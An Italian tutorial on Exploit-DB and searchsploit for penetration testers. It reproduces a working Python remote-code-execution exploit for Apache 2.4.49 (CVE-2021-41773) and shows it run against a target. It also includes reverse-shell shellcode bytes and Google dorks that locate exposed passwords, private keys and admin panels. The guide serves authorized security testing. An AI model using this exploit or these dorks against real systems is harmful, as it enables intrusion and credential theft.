Exploit-DB: Database di Exploit e PoC per Penetration Testing

Exploit-DB è il database pubblico di exploit e proof-of-concept per ricerca vulnerabilità e penetration test. Ricerca per CVE, software e platform.
- Pubblicato il 2026-02-12
- Tempo di lettura: 11 min
Executive Summary — Exploit-DB (exploit-db.com) è il più grande archivio pubblico di exploit, gestito da Offensive Security (gli stessi di Kali Linux e OSCP). Non è solo un database di exploit: è una piattaforma composta da quattro sezioni distinte — Exploits (exploit verificati), Shellcodes (payload pronti all’uso), Google Hacking Database (GHDB — dork per trovare target vulnerabili) e Papers (documentazione tecnica sulle vulnerabilità). Ogni exploit ha un EDB-ID, è collegato al CVE corrispondente, e gli exploit “verificati” sono stati testati dallo staff di Offensive Security. Searchsploit è solo il client CLI locale — la piattaforma web offre molto di più: filtri avanzati, file allegati, proof of concept e codice sorgente completo.TL;DR Exploit-DB è diviso in 4 sezioni: Exploits, Shellcodes, GHDB e Papers — ognuna con il suo workflow. La web interface ha filtri che searchsploit non ha: tipo (local/remote/webapps/DoS), piattaforma, data, verificato/non verificato. Il Google Hacking Database (GHDB) contiene migliaia di dork Google per trovare target esposti, file sensibili e pannelli admin.
Perché Exploit-DB e Non Solo “Cerca su Google” #
Quando trovi un servizio vulnerabile durante un pentest — un Apache 2.4.49, un vsFTPd 2.3.4, un Microsoft Exchange non patchato — il passo successivo è trovare un exploit funzionante. Puoi cercare su Google, ma finisci su blog, GitHub random e PoC non testati. Exploit-DB risolve questo problema:
- Verificato: gli exploit con il badge “Verified” sono stati testati dallo staff OffSec in un ambiente controllato
- Strutturato: ogni exploit ha metadati (CVE, piattaforma, tipo, autore, data) che permettono ricerche precise
- Persistente: gli exploit non scompaiono — a differenza di repo GitHub che vengono cancellati
- Legale: è un archivio per ricerca e testing autorizzato — non un marketplace
La differenza tra un pentester junior e uno senior spesso sta nel workflow di ricerca exploit: sapere dove cercare, come filtrare, cosa verificare prima di eseguire e come adattare un exploit al target specifico.
1. La Piattaforma Web — exploit-db.com #
Homepage e Navigazione #
La homepage mostra gli ultimi exploit pubblicati. La barra di navigazione principale ha quattro sezioni:
| Sezione | URL | Contenuto |
|---|---|---|
| Exploits | exploit-db.com/exploits | Exploit verificati e non, PoC, codice sorgente |
| Shellcodes | exploit-db.com/shellcodes | Payload per diverse architetture e OS |
| GHDB | exploit-db.com/google-hacking-database | Dork Google per trovare target |
| Papers | exploit-db.com/papers | White paper, analisi tecniche, guide |
Ricerca Avanzata — Exploits #
La ricerca web ha filtri che searchsploit non espone:
URL: https://exploit-db.com/search
Filtri disponibili:
- Text: termine di ricerca libero (es: "Apache 2.4.49")
- Type: local, remote, webapps, dos, shellcode
- Platform: Windows, Linux, Multiple, PHP, Python, Java, Hardware...
- Author: autore dell'exploit
- Port: porta del servizio (es: 80, 443, 21)
- Tag: CVE-XXXX-XXXX
- Verified: solo exploit verificati da OffSec
- Has App: exploit con applicazione vulnerabile allegata
- Date range: da/aEsempio pratico — cerchi un exploit per Apache 2.4.49:
Text: Apache 2.4.49
Type: remote
Platform: Linux
Verified: YesRisultato:
EDB-ID: 50383
Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution
CVE: CVE-2021-41773
Type: remote
Platform: Multiple
Verified: Yes
Author: Lucas Souza
Date: 2021-10-05Anatomia di una Pagina Exploit #
Ogni exploit ha una pagina dedicata con queste informazioni:
EDB-ID: 50383 ← Identificatore univoco
CVE: CVE-2021-41773 ← Collegamento al CVE
Author: Lucas Souza ← Chi l'ha scritto
Type: webapps ← Categoria
Platform: Multiple ← Sistema target
Date: 2021-10-05 ← Data di pubblicazione
Verified: ✓ ← Testato da OffSec
Exploit: [codice sorgente completo] ← Il PoCSotto il codice, spesso trovi:
- Descrizione: come funziona la vulnerabilità
- Versioni affette: range di versioni vulnerabili
- Istruzioni: come compilare/eseguire l’exploit
- References: link a advisory, patch, blog post tecnici
Come Leggere un Exploit Prima di Eseguirlo #
Questo è il punto che separa un pentester da un script kiddie. Mai eseguire un exploit senza leggerlo. Ecco cosa cercare:
1. LINGUAGGIO: Python? C? Bash? Ruby? — devi avere l'interprete/compilatore
2. DIPENDENZE: import requests, from pwn import * — devi installarle
3. TARGET: l'exploit è per la versione esatta del tuo target?
4. PARAMETRI: IP, porta, path, payload — cosa devi configurare?
5. PAYLOAD: cosa fa l'exploit? Reverse shell? File read? DoS?
⚠️ Cerca: os.system, subprocess, exec, eval — comandi che esegue
⚠️ Cerca: socket.connect — a chi si connette (callback attacker)
⚠️ Cerca: hardcoded IP/port — devi cambiarli con i tuoi
6. SIDE EFFECTS: crash del servizio? File scritti? Utenti creati?
7. CLEANUP: l'exploit pulisce dopo di sé o lascia tracce?Esempio — leggi un exploit Python:
#!/usr/bin/python3
# Exploit Title: Apache 2.4.49 - Path Traversal & RCE
# CVE: CVE-2021-41773
# Author: Lucas Souza
import requests
import sys
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <target_url> <command>")
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
# Path traversal payload
path = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = f"echo; {cmd}"
r = requests.post(f"{url}{path}", headers=headers, data=data)
print(r.text)Analisi:
- Linguaggio: Python 3, richiede
requests - Parametri: URL del target e comando da eseguire
- Payload: path traversal che raggiunge
/bin/shed esegue il comando - Side effects: nessun crash, nessun file scritto — è un RCE non persistente
- Rischio: basso — esegue un singolo comando e mostra l’output
2. Le Quattro Sezioni in Dettaglio #
Sezione 1: Exploits #
La sezione principale. Ogni exploit è categorizzato per tipo:
| Tipo | Significato | Esempio |
|---|---|---|
| remote | Eseguibile da remoto senza accesso al sistema | RCE via rete |
| local | Richiede accesso locale al sistema (privesc) | Kernel exploit Linux |
| webapps | Vulnerabilità in applicazioni web | SQLi, XSS, RCE in CMS |
| dos | Denial of Service | Crash del servizio |
| shellcode | Payload (link alla sezione Shellcodes) | Reverse shell assembly |
Workflow operativo per cercare exploit:
1. Hai trovato: Apache 2.4.49 su Linux
2. Vai su exploit-db.com → Search
3. Cerca: "Apache 2.4.49" → Type: remote → Verified: Yes
4. Risultato: EDB-50383 (Path Traversal + RCE)
5. Leggi il codice → verifica che sia per la tua versione
6. Scarica → adatta parametri (target IP, porta, callback)
7. Testa in lab → poi sul target autorizzatoScaricare l’exploit:
# Dalla web interface: click su "Download" o "Raw"
# Via URL diretta:
curl -o exploit.py "https://www.exploit-db.com/raw/50383"
# Via searchsploit (se disponibile nel mirror locale):
searchsploit -m 50383Sezione 2: Shellcodes #
La sezione Shellcodes contiene payload in assembly/bytecode pronti all’uso, organizzati per architettura e OS:
| Categoria | Esempi |
|---|---|
| Linux x86 | Reverse shell, bind shell, execve /bin/sh |
| Linux x86_64 | Reverse shell, bind shell, mmap + exec |
| Windows x86 | Reverse shell, bind shell, add admin user |
| Windows x64 | Reverse shell, download + exec |
| ARM | Reverse shell, bind shell |
| MIPS | Reverse shell (per router/IoT) |
Quando servono gli Shellcodes di Exploit-DB:
- Stai sviluppando un buffer overflow custom e hai bisogno di un payload testato
- msfvenom non genera payload per l’architettura che ti serve (MIPS, ARM embedded)
- Vuoi un payload senza dipendenze da Metasploit
- Stai studiando come funzionano i payload a basso livello
Esempio — cerchi un reverse shell Linux x86_64:
Sezione: Shellcodes
Search: "reverse shell"
Platform: Linux x86_64Risultato:
Shellcode ID: 50253
Title: Linux/x86_64 - Reverse Shell (127.0.0.1:4444/TCP) Shellcode (82 bytes)
Platform: Linux x86_64
Size: 82 bytesIl codice contiene il bytecode pronto:
char shellcode[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
"\x48\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01"
// ... (82 bytes totali)
Per adattarlo al tuo IP e porta, devi modificare i byte dell’indirizzo e della porta nel bytecode (o ricompilare dal sorgente assembly).
Sezione 3: Google Hacking Database (GHDB) #
La GHDB è una collezione di Google dork — query di ricerca avanzate che trovano pagine web con informazioni sensibili o configurazioni vulnerabili indicizzate da Google.
Categorie GHDB:
| Categoria | Cosa trova | Esempio dork |
|---|---|---|
| Footholds | Pagine di login, pannelli admin | intitle:"admin login" inurl:/admin |
| Files with Usernames | File con nomi utente | filetype:log inurl:"/users" |
| Sensitive Directories | Directory listing aperte | intitle:"Index of" "backup" |
| Web Server Detection | Server con versione esposta | intitle:"Apache Status" "Server Version" |
| Vulnerable Files | File di configurazione esposti | filetype:env "DB_PASSWORD" |
| Vulnerable Servers | Server con vulnerabilità note | intitle:"phpMyAdmin" "Welcome to phpMyAdmin" |
| Error Messages | Messaggi di errore con info sensibili | "SQL syntax" "mysql_fetch" filetype:php |
| Network or Vulnerability Data | Dati di rete esposti | "Network Vulnerability Assessment Report" |
| Pages with Login Portals | Portali di accesso | inurl:"/remote/login" "FortiGate" |
| Various Online Devices | Dispositivi IoT/SCADA esposti | intitle:"webcamXP" inurl:8080 |
| Advisories and Vulnerabilities | Advisory non pubblici | "confidential" filetype:pdf "vulnerability assessment" |
Workflow operativo GHDB:
1. Sei in fase di OSINT su target corp.local
2. Vai su exploit-db.com/google-hacking-database
3. Cerca per categoria: "Files Containing Passwords"
4. Trova dork: filetype:env "DB_PASSWORD" site:corp.local
5. Esegui su Google (o DorkSearch.com per bulk)
6. Trovi: https://dev.corp.local/.env con credenziali DBDork GHDB più utili per il pentest:
# File .env esposti (credenziali)
filetype:env "DB_PASSWORD" site:target.com
# Backup SQL esposti
filetype:sql "INSERT INTO" "password" site:target.com
# phpMyAdmin senza auth
intitle:"phpMyAdmin" "Welcome to phpMyAdmin" site:target.com
# Directory listing con backup
intitle:"Index of" "backup" site:target.com
# File di configurazione WordPress
inurl:wp-config.php.bak site:target.com
# Pannelli admin esposti
inurl:/admin intitle:"login" site:target.com
# Errori SQL con info database
"You have an error in your SQL syntax" site:target.com
# File SSH key esposti
filetype:pem "PRIVATE KEY" site:target.com
# VPN config esposti
filetype:ovpn "remote" site:target.com
# Git repository esposti
intitle:"Index of" ".git" site:target.comGoogle Dork per Exploit-DB stesso:
# Cerca exploit per un prodotto specifico su Google
site:exploit-db.com "Apache 2.4.49" "remote"Sezione 4: Papers #
La sezione Papers contiene documenti tecnici — white paper, analisi di vulnerabilità, guide a tecniche di exploitation e ricerca. Non sono exploit eseguibili ma documentazione che spiega il “come” e il “perché”.
Categorie Papers:
| Categoria | Contenuto |
|---|---|
| Buffer Overflow | Tecniche di exploitation stack/heap |
| Web Application | SQLi avanzata, XSS, SSRF, deserialization |
| Network | MitM, protocol exploitation, wireless |
| Cryptography | Attacchi a implementazioni crypto |
| Reverse Engineering | Analisi malware, firmware |
| Privilege Escalation | Tecniche Windows/Linux privesc |
Quando usare Papers: quando hai bisogno di capire una tecnica in profondità prima di applicarla. Un exploit ti dice “cosa fare”, un paper ti dice “perché funziona”.
3. Searchsploit — Il Client CLI Locale #
Searchsploit è il client da riga di comando che cerca nel mirror locale di Exploit-DB. È preinstallato su Kali Linux. Il vantaggio: funziona offline. Lo svantaggio: i filtri sono meno potenti della web interface.
Ricerca base #
searchsploit apache 2.4.49Output:
--------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------- ---------------------------------
Apache HTTP Server 2.4.49 - Path Traversal & | exploits/multiple/webapps/50383.py
Apache HTTP Server 2.4.49/2.4.50 - Remote Co | exploits/multiple/webapps/50512.py
--------------------------------------------- ---------------------------------Ricerca con filtri #
# Solo exploit verificati e remote
searchsploit -t apache 2.4 --type remote
# Escludi risultati DoS
searchsploit apache 2.4 --exclude="Denial of Service"
# Cerca per CVE
searchsploit --cve 2021-41773
# Cerca per EDB-ID
searchsploit --edb 50383
# Output in JSON (per scripting)
searchsploit apache 2.4.49 -jOperazioni sugli exploit #
# Copia exploit nella directory corrente
searchsploit -m 50383
# Output: Exploit: exploits/multiple/webapps/50383.py
# Copied to: /home/kali/50383.py
# Mostra il path completo
searchsploit -p 50383
# Output: Path: /usr/share/exploitdb/exploits/multiple/webapps/50383.py
# Apri nel browser la pagina Exploit-DB
searchsploit -w apache 2.4.49
# Output: URL: https://www.exploit-db.com/exploits/50383
# Leggi il codice senza copiare
searchsploit -x 50383
# Apre l'exploit in $PAGER (less)Aggiorna il database locale #
searchsploit -u
# Aggiorna il mirror locale da exploit-db.com
# Richiede connessione InternetLimitazioni di searchsploit vs web #
| Funzionalità | searchsploit | Web |
|---|---|---|
| Ricerca testo | ✓ | ✓ |
| Filtro tipo (remote/local) | Limitato | ✓ |
| Filtro piattaforma | Limitato | ✓ |
| Filtro verificato | No | ✓ |
| Filtro data | No | ✓ |
| Filtro porta | No | ✓ |
| File allegati | No | ✓ |
| Shellcodes | Parziale | ✓ |
| GHDB | No | ✓ |
| Papers | No | ✓ |
| Funziona offline | ✓ | No |
Regola pratica: usa searchsploit per la ricerca rapida durante un engagement. Usa la web interface quando hai bisogno di filtri precisi, vuoi verificare i dettagli o cerchi nella GHDB.
4. Workflow Operativo Completo — Dal Servizio all’Exploit Funzionante #
Questo è il workflow che dovresti seguire ogni volta che trovi un servizio potenzialmente vulnerabile.
Step 1: Identifica il servizio #
nmap -sV -sC -p 80 10.10.10.40
# Apache/2.4.49 (Ubuntu)Step 2: Cerca exploit — multi-source #
# 1. Searchsploit (locale, veloce)
searchsploit apache 2.4.49
# 2. Web Exploit-DB (filtri avanzati)
# https://exploit-db.com → "Apache 2.4.49" → Type: remote → Verified: Yes
# 3. Google (per PoC GitHub e blog)
# "Apache 2.4.49 exploit" OR "CVE-2021-41773 PoC"
# 4. GitHub (PoC recenti)
# github.com/search?q=CVE-2021-41773
# 5. NVD (dettagli CVE)
# nvd.nist.gov/vuln/detail/CVE-2021-41773Step 3: Valuta l’exploit #
Checklist di valutazione:
□ È per la versione ESATTA del target?
□ È verificato (badge OffSec)?
□ Il codice è leggibile e comprensibile?
□ Quali dipendenze ha?
□ Che tipo di accesso dà? (RCE, file read, DoS)
□ Ha side effects? (crash, file creati, log)
□ È stato aggiornato di recente? (data)
□ Ci sono commenti/note dell'autore?Step 4: Prepara l’exploit #
# Copia nella tua directory di lavoro
searchsploit -m 50383
cd /home/kali/pentest/
# Leggi il codice
cat 50383.py
# Installa dipendenze
pip install requests # se necessario
# Adatta i parametri
# Cerca: RHOST, RPORT, LHOST, LPORT, callback, target URL
# Modifica con i tuoi valoriStep 5: Testa in lab (se possibile) #
# Se hai un lab:
docker run -d -p 8080:80 httpd:2.4.49
python3 50383.py http://127.0.0.1:8080 "id"
# Verifica che funzioni prima di usarlo sul targetStep 6: Esegui sul target autorizzato #
python3 50383.py http://10.10.10.40 "id"Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Step 7: Documenta #
Nel report:
- EDB-ID: 50383
- CVE: CVE-2021-41773
- Target: 10.10.10.40:80 (Apache 2.4.49)
- Impatto: Remote Code Execution come www-data
- Remediation: aggiornare Apache a 2.4.51+5. Tecniche Avanzate con Exploit-DB #
Adattare un exploit che non funziona #
La maggior parte degli exploit non funzionano “out of the box” sul tuo target. Ecco i motivi più comuni e come risolvere:
| Problema | Causa | Fix |
|---|---|---|
Connection refused | Porta o IP sbagliati nell’exploit | Modifica RHOST/RPORT |
Exploit failed | Versione leggermente diversa | Leggi il codice, trova l’offset o il path che cambia |
ModuleNotFoundError | Dipendenza Python mancante | pip install [modulo] |
Segfault (buffer overflow) | Offset sbagliato per il target | Ricalcola offset con pattern_create / pattern_offset |
400 Bad Request | Path o header dell’exploit non corretti | Confronta con la documentazione della CVE |
| Exploit per Python 2 | Scritto per Python 2 (print senza parentesi) | 2to3 exploit.py o adatta manualmente |
| Exploit per Windows, target Linux | Piattaforma sbagliata | Cerca un exploit per la piattaforma corretta |
Cross-reference CVE ↔ EDB-ID #
# Da CVE a EDB-ID
searchsploit --cve 2021-41773
# Da EDB-ID a CVE: apri la pagina web
searchsploit -w 50383
# Nella pagina web: il CVE è indicato nei metadatiBulk search durante un engagement #
# Hai una lista di servizi dal nmap scan:
# Apache 2.4.49, OpenSSH 8.2, vsftpd 3.0.3, ProFTPD 1.3.5
# Cerca tutto in sequenza
for service in "Apache 2.4.49" "OpenSSH 8.2" "vsftpd 3.0.3" "ProFTPD 1.3.5"; do
echo "=== $service ==="
searchsploit "$service" --type remote
echo ""
doneExploit-DB + Metasploit #
Molti exploit di Exploit-DB hanno un modulo Metasploit corrispondente. Il collegamento è bidirezionale:
# Nella pagina Exploit-DB: sezione "References" → link a Metasploit module
# In Metasploit: cerca per CVE
msf6 > search cve:2021-41773
# Matching Modules
# exploit/multi/http/apache_normalize_path_rce 2021-10-07 excellent
# Confronto:
# - Exploit-DB: script standalone, leggero, personalizzabile
# - Metasploit: modulo integrato, gestisce payload/handler, ma più pesanteExploit-DB Bin Sploits #
Alcuni exploit hanno file binari allegati (compilati, non sorgente) nella sezione “Bin Sploits” (files.exploit-db.com). Questi sono PoC che richiedono un ambiente specifico per la compilazione o che sono distribuiti come binario.
# Download bin sploit
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/50383.zip⚠️ Attenzione massima con i binari: non puoi leggere il codice sorgente. Esegui solo in lab isolato. Preferisci sempre il codice sorgente.
6. GHDB Operativo — Workflow Completo #
Recon su un target specifico #
# Step 1: File sensibili
"DB_PASSWORD" site:target.com
filetype:env site:target.com
filetype:sql "password" site:target.com
# Step 2: Directory listing
intitle:"Index of" site:target.com
intitle:"Index of" "backup" site:target.com
intitle:"Index of" ".git" site:target.com
# Step 3: Pannelli admin
inurl:/admin site:target.com
inurl:/wp-admin site:target.com
intitle:"login" inurl:/admin site:target.com
# Step 4: Errori informativi
"error" "mysql" site:target.com
"stack trace" site:target.com
"Exception" filetype:log site:target.com
# Step 5: Documenti interni
filetype:pdf "confidential" site:target.com
filetype:xlsx "password" site:target.com
filetype:doc "internal" site:target.comRecon generica (senza target specifico) #
# Trova telecamere esposte
intitle:"webcamXP 5" inurl:8080
# Trova stampanti esposte
intitle:"HP LaserJet" inurl:hp/device/this.LCDispatcher
# Trova NAS esposti
intitle:"QNAP" inurl:/cgi-bin/
# Trova database esposti
intitle:"phpMyAdmin" "Welcome to phpMyAdmin" -site:phpmyadmin.net
# Trova FortiGate VPN login
inurl:"/remote/login" intitle:"FortiGate"
# Trova Citrix Gateway
inurl:"/vpn/index.html" intitle:"Citrix"Tool per Google Dorking automatizzato #
| Tool | Funzione |
|---|---|
| pagodo | Automatizza GHDB dork su Google (github.com/opsdisk/pagodo) |
| Dorksearch.com | Interfaccia web per GHDB con preview |
| GooFuzz | Fuzzing basato su Google dork |
| theHarvester | OSINT con integrazione dork |
7. Confronto con Altre Fonti di Exploit #
| Fonte | Pro | Contro | Quando usare |
|---|---|---|---|
| Exploit-DB | Verificati, strutturati, persistenti | Non sempre il più recente | Standard per qualsiasi ricerca |
| GitHub | PoC più recenti, codice aggiornato | Non verificati, possono sparire | CVE recenti (<6 mesi) |
| PacketStorm | Ampio archivio, advisory dettagliati | Meno strutturato di EDB | Ricerca secondaria |
| NVD/NIST | CVE ufficiali, CVSS score, CPE | No exploit, solo descrizione | Valutazione rischio |
| Metasploit | Exploit + payload + handler integrati | Solo exploit con modulo MSF | Quando serve automazione |
| Nuclei Templates | Scanner automatico per CVE | Solo detection, non exploitation | Scansione massiva |
| VulnHub/HackTheBox | Lab con exploit reali da praticare | Non exploit database | Studio e pratica |
Workflow multi-source per un CVE:
1. NVD → capisco la vulnerabilità (CVSS, versioni affette, advisory)
2. Exploit-DB → cerco exploit verificato (searchsploit --cve XXXX)
3. GitHub → cerco PoC recenti (search "CVE-XXXX-XXXX")
4. Metasploit → verifico se esiste un modulo (search cve:XXXX)
5. Google → cerco blog tecnici con analisi dettagliata8. Troubleshooting #
| Problema | Causa | Fix |
|---|---|---|
| searchsploit non trova nulla | Database locale non aggiornato | searchsploit -u |
| searchsploit trova troppi risultati | Ricerca troppo generica | Aggiungi versione esatta: searchsploit "apache 2.4.49" (con virgolette) |
| Exploit Python non funziona | Python 2 vs 3 | Controlla shebang (#!/usr/bin/python vs python3), usa 2to3 |
| Exploit C non compila | Dipendenze mancanti | Leggi i commenti in cima al file per i flag di compilazione |
| Exploit “verified” ma non funziona | Versione target leggermente diversa | L’exploit è verificato per una versione specifica — adattalo |
| GHDB dork non trova nulla | Google ha de-indicizzato o il target non è indicizzato | Prova varianti del dork, usa operatori diversi |
9. FAQ #
D: Exploit-DB è legale? R: Sì. Exploit-DB è un archivio per ricerca di sicurezza. Scaricare e leggere exploit è legale. Usarli contro sistemi senza autorizzazione è illegale. Lo stesso principio di un libro di chimica: il contenuto è legale, l’uso improprio no.
D: “Verified” significa che funziona sempre? R: No. “Verified” significa che lo staff OffSec l’ha testato con successo in un ambiente controllato specifico. Il tuo target potrebbe avere una versione leggermente diversa, patch parziali o configurazione diversa. Verified riduce il rischio di exploit fake/malevoli, non garantisce il funzionamento universale.
D: Come faccio a sapere se un exploit è sicuro da eseguire? R: Leggilo. Tutto. Cerca comandi distruttivi (rm -rf, format, drop table), callback verso IP non tuoi, download di binari esterni. Se non capisci il codice, non eseguirlo. Se è un binario senza sorgente, eseguilo solo in lab isolato.
D: Searchsploit vs web — quale uso? R: Searchsploit per la ricerca rapida durante un engagement (funziona offline, veloce). Web per ricerca precisa con filtri avanzati, GHDB, Papers e Shellcodes. Idealmente: searchsploit per trovare il candidato, web per verificare i dettagli.
10. Cheat Sheet Finale #
Searchsploit #
| Azione | Comando |
|---|---|
| Cerca | searchsploit [termine] |
| Cerca per CVE | searchsploit --cve [CVE-ID] |
| Solo remote | searchsploit [termine] --type remote |
| Escludi DoS | searchsploit [termine] --exclude="Denial of Service" |
| Copia exploit | searchsploit -m [EDB-ID] |
| Mostra path | searchsploit -p [EDB-ID] |
| Apri nel browser | searchsploit -w [termine] |
| Leggi codice | searchsploit -x [EDB-ID] |
| Output JSON | searchsploit [termine] -j |
| Aggiorna DB | searchsploit -u |
Web Interface #
| Azione | URL |
|---|---|
| Ricerca exploit | exploit-db.com/search?q=[termine] |
| Pagina exploit | exploit-db.com/exploits/[EDB-ID] |
| Raw code | exploit-db.com/raw/[EDB-ID] |
| Download | exploit-db.com/download/[EDB-ID] |
| GHDB | exploit-db.com/google-hacking-database |
| Shellcodes | exploit-db.com/shellcodes |
| Papers | exploit-db.com/papers |
GHDB — Dork Essenziali #
| Obiettivo | Dork |
|---|---|
| File .env | filetype:env "DB_PASSWORD" site:[target] |
| SQL dump | filetype:sql "INSERT INTO" "password" site:[target] |
| Git esposto | intitle:"Index of" ".git" site:[target] |
| Backup | intitle:"Index of" "backup" site:[target] |
| phpMyAdmin | intitle:"phpMyAdmin" "Welcome" site:[target] |
| Admin panel | inurl:/admin intitle:"login" site:[target] |
| Errori SQL | "SQL syntax" "mysql" site:[target] |
| SSH key | filetype:pem "PRIVATE KEY" site:[target] |
| VPN config | filetype:ovpn site:[target] |
| Documenti | filetype:pdf "confidential" site:[target] |
Workflow Rapido #
Servizio trovato → searchsploit "[servizio] [versione]"
→ exploit-db.com (filtri avanzati)
→ leggi il codice → verifica versione
→ adatta parametri → testa in lab
→ esegui su target autorizzato → documentaOPSEC #
Searchsploit è locale — nessun traffico di rete. La ricerca su exploit-db.com è loggata dal sito (come qualsiasi sito web). I Google dork su GHDB sono loggati da Google e possono generare CAPTCHA se fatti in massa. Usa tool come pagodo con proxy/VPN per il dorking automatizzato. L’esecuzione dell’exploit è l’azione più visibile — documenta tutto per il report.
Riferimento: Offensive Security Exploit Database, Google Hacking for Penetration Testers (Johnny Long). Uso esclusivo in ambienti autorizzati.

